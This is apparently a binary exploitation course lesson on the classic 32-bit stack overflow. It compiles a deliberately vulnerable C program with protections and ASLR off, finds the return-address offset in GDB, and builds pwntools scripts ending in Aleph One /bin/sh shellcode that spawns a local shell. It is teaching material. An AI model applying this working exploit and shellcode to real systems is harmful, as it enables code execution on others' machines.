Skip to content

Latest commit

 

History

History
428 lines (366 loc) · 14.2 KB

File metadata and controls

428 lines (366 loc) · 14.2 KB

Classic Exploitation Technique

Let us revisit the classical technique of exploiting a stack overflow on a binary with no protections enabled and ASLR turned off. We will do a demonstration on a binary compiled from the following source code:

#include <unistd.h>
#include <stdio.h>

void vuln() {
    char buffer[16];
    read(0, buffer, 100);
    puts(buffer);
}

int main() {
    vuln();
}

The binary was compiled with the following flags:

gcc -m32 -fno-stack-protector -zexecstack -o ./build/1_vulnerable ./src/1_vulnerable.c

Before running the binary, disable ASLR with the command:

ubuntu@ubuntu-xenial:/vagrant$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0

Verify that ASLR is indeed turned off.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ldd ./1_vulnerable
	linux-gate.so.1 =>  (0xf7ffd000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7e39000)
	/lib/ld-linux.so.2 (0x56555000)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$

Also, all protections are off.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ checksec ./1_vulnerable
[*] '/vagrant/lessons/4_classic_exploitation/build/1_vulnerable'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

The binary is simple. It reads 100 bytes from stdin into a 16 byte character buffer and prints the contents of the buffer to the user. On a benign execution, the behaviour might look like this:

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable
Hello
Hello

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$

It is very easy to get the binary to crash.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ ./1_vulnerable
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
��P���
Segmentation fault (core dumped)
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$

Let's delve into GDB to get the offset we need to place our return address at to control EIP.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ gdb ./1_vulnerable
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./1_vulnerable...(no debugging symbols found)...done.
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /vagrant/lessons/4_classic_exploitation/build/1_vulnerable
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x65 ('e')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x44414128 ('(AAD')
ESP: 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd5f4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$ pattern_offset 0x413b4141
1094402369 found at offset: 28
gdb-peda$

We can begin writing a skeleton for our exploit.

#!/usr/bin/python

from pwn import *

def main():
    # Start a process
    p = process("../build/1_vulnerable")

    # Create payload
    ret_address = 0x41424344
    payload = "A"*28 + p32(ret_address)
    payload = payload.ljust(100, "\x00")

    # Print the process id
    raw_input(str(p.proc.pid))

    # Send the payload to the binary
    p.send(payload)

    # Pass interaction back to the user
    p.interactive()

if __name__ == "__main__":
    main()

If we run this and attach to the spawned process, we can verify that the program will crash on the address 0x41424344.

gdb-peda$ attach 9639
Attaching to process 9639
Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x21 ('!')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd640 --> 0x0
EIP: 0x41424344 ('DCBA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41424344
[------------------------------------stack-------------------------------------]
0000| 0xffffd640 --> 0x0
0004| 0xffffd644 --> 0x0
0008| 0xffffd648 --> 0x0
0012| 0xffffd64c --> 0x0
0016| 0xffffd650 --> 0x0
0020| 0xffffd654 --> 0x0
0024| 0xffffd658 --> 0x0
0028| 0xffffd65c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41424344 in ?? ()
gdb-peda$

Next, we need to figure out where should we direct execution to. This would probably be somewhere in the buffer we write to with the read() call. If we break on the call to puts(), we can get a stack address we can use as the argument.

gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x0804843b <+0>:	push   ebp
   0x0804843c <+1>:	mov    ebp,esp
   0x0804843e <+3>:	sub    esp,0x18
   0x08048441 <+6>:	sub    esp,0x4
   0x08048444 <+9>:	push   0x64
   0x08048446 <+11>:	lea    eax,[ebp-0x18]
   0x08048449 <+14>:	push   eax
   0x0804844a <+15>:	push   0x0
   0x0804844c <+17>:	call   0x8048300 <read@plt>
   0x08048451 <+22>:	add    esp,0x10
   0x08048454 <+25>:	sub    esp,0xc
   0x08048457 <+28>:	lea    eax,[ebp-0x18]
   0x0804845a <+31>:	push   eax
   0x0804845b <+32>:	call   0x8048310 <puts@plt>
   0x08048460 <+37>:	add    esp,0x10
   0x08048463 <+40>:	nop
   0x08048464 <+41>:	leave
   0x08048465 <+42>:	ret
End of assembler dump.
gdb-peda$ del
gdb-peda$ br *0x0804845b
Breakpoint 2 at 0x804845b
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EBX: 0x0
ECX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EDX: 0x64 ('d')
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0xffffd608 ("AAAADCBA")
ESP: 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
EIP: 0x804845b (<vuln+32>:	call   0x8048310 <puts@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048454 <vuln+25>:	sub    esp,0xc
   0x8048457 <vuln+28>:	lea    eax,[ebp-0x18]
   0x804845a <vuln+31>:	push   eax
=> 0x804845b <vuln+32>:	call   0x8048310 <puts@plt>
   0x8048460 <vuln+37>:	add    esp,0x10
   0x8048463 <vuln+40>:	nop
   0x8048464 <vuln+41>:	leave
   0x8048465 <vuln+42>:	ret
Guessed arguments:
arg[0]: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0004| 0xffffd5e4 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0008| 0xffffd5e8 --> 0x64 ('d')
0012| 0xffffd5ec --> 0xf7e2d0ec (test   eax,eax)
0016| 0xffffd5f0 ('A' <repeats 28 times>, "DCBA")
0020| 0xffffd5f4 ('A' <repeats 24 times>, "DCBA")
0024| 0xffffd5f8 ('A' <repeats 20 times>, "DCBA")
0028| 0xffffd5fc ('A' <repeats 16 times>, "DCBA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 1 "1_vulnerable" hit Breakpoint 2, 0x0804845b in vuln ()
gdb-peda$

0xffffd5f0 is the start of buffer the user input is read into. A good place to jump to would be (0xffffd5f0 + 28 + 4). This lets us put our shellcode right after the return address. To begin with, we can test out strategy by filling that space with 'int 3' instructions (0xcc).

#!/usr/bin/python

from pwn import *

def main():
    # Start a process
    p = process("../build/1_vulnerable")

    # Create payload
    ret_address = 0xffffd5f0 + 28 + 4
    payload = "A"*28 + p32(ret_address)
    payload = payload.ljust(100, "\xcc")

    # Print the process id
    raw_input(str(p.proc.pid))

    # Send the payload to the binary
    p.send(payload)

    # Pass interaction back to the user
    p.interactive()

if __name__ == "__main__":
    main()

Now, we can run this, attach our debugger to the process and see if it breaks.

gdb-peda$ attach 9675
Attaching to process 9675
Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
gdb-peda$ c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
[----------------------------------registers-----------------------------------]
EAX: 0x65 ('e')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd610 --> 0xcccccccc
EIP: 0xffffd611 --> 0xcccccccc
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xffffd611:	int3
   0xffffd612:	int3
   0xffffd613:	int3
   0xffffd614:	int3
[------------------------------------stack-------------------------------------]
0000| 0xffffd610 --> 0xcccccccc
0004| 0xffffd614 --> 0xcccccccc
0008| 0xffffd618 --> 0xcccccccc
0012| 0xffffd61c --> 0xcccccccc
0016| 0xffffd620 --> 0xcccccccc
0020| 0xffffd624 --> 0xcccccccc
0024| 0xffffd628 --> 0xcccccccc
0028| 0xffffd62c --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xffffd611 in ?? ()
gdb-peda$

Taking some shellcode from Aleph One's 'Smashing the Stack for Fun and Profit':

shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" +
	     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" +
             "\x80\xe8\xdc\xff\xff\xff/bin/sh")

Putting it all together:

#!/usr/bin/python

from pwn import *

def main():
    # Start a process
    p = process("../build/1_vulnerable")

    # Create payload
    ret_address = 0xffffd620 + 28 + 4
    shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" +
                 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" +
                 "\x80\xe8\xdc\xff\xff\xff/bin/sh")
    payload = "A"*28 + p32(ret_address)
    padding_len = 100 - len(payload) - len(shellcode)
    payload += "\x90" * padding_len + shellcode

    # Send the payload to the binary
    p.send(payload)

    # Pass interaction back to the user
    p.interactive()

if __name__ == "__main__":
    main()

Running the script.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/scripts$ python 3_final.py
[+] Starting local process '../build/1_vulnerable': Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAA@��\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90��^\x891��F\x07\x89F\x0c\xb0\x0b\x89��\x8dV\x0c̀1ۉ�@̀���\xff\xff/bin/sh
$ ls -la
total 20
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 23:10 .
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 11 23:00 ..
-rw-rw-r-- 1 ubuntu ubuntu  462 Jan 11 22:00 1_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu  471 Jan 11 22:40 2_stackjump.py
-rw-rw-r-- 1 ubuntu ubuntu  697 Jan 11 23:10 3_final.py
$
[*] Stopped program '../build/1_vulnerable'
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/scripts$

Note that you might have to adjust the return address as the one on this machine might not match up to the one on your machines.